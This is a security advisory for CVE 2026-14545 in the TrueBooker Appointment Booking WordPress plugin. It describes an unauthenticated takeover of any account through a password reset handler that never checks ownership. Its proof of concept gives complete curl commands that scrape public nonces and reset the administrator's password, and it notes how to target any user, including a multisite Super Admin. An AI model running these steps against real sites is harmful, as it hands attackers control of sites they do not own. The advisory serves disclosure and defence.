TrueBooker Appointment Booking < 1.2.4 – Unauthenticated Account Takeover via Password Reset | CVE 2026-14545

Description

The plugin does not validate account ownership when resetting a user's password through one of its front-end account handlers, allowing unauthenticated attackers to set an arbitrary password on any account, including an administrator, and take over the site.

Proof of Concept

Prerequisites: a site running the plugin with a page containing the [truebooker-myaccount] shortcode (the plugin's normal login/account surface). No non-default configuration is required. The target admin account is in its default state, i.e. no password reset in progress (an empty user_activation_key), which is the resting state of every user.

The attack is fully unauthenticated.

# 1) As an anonymous visitor, scrape the two public nonces.
#    nonce1 (truebooker_nonce_action) is localised as ajax_object.nonce and is present on every front-end page.
#    nonce2 (truebooker_meta_box_nonce) is the hidden field truebooker_meta_box_noncename, rendered in the [truebooker-myaccount] login form shown to logged-out visitors.
N1=$(curl -s -L "https://victim.example/booking/"    | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')
N2=$(curl -s -L "https://victim.example/my-account/" | grep -oE 'name="truebooker_meta_box_noncename" value="[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')

# 2) Anonymously reset the administrator's (user id 1) password to an attacker-chosen value.
curl -s "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=user_front_resetpass" \
  --data-urlencode "security=$N1" \
  --data-urlencode "alldata=tbab-userid=1&tbab-activekey=whatever&tbab-password=AttackerOwned12345&tbab-password-1=AttackerOwned12345&truebooker_meta_box_noncename=$N2"
# Response: {"error_message":[],"successmessage":"Password reset successfull",...}

# 3) Log in at /wp-login.php as the administrator with AttackerOwned12345 -> full wp-admin control.

Notes:
- The new password must be at least 5 characters (the only length check).
- The tbab-activekey value is never checked for a default-state account (empty user_activation_key), so any value works.
- Any account can be targeted by changing tbab-userid; on multisite, targeting the network Super Admin yields full network control.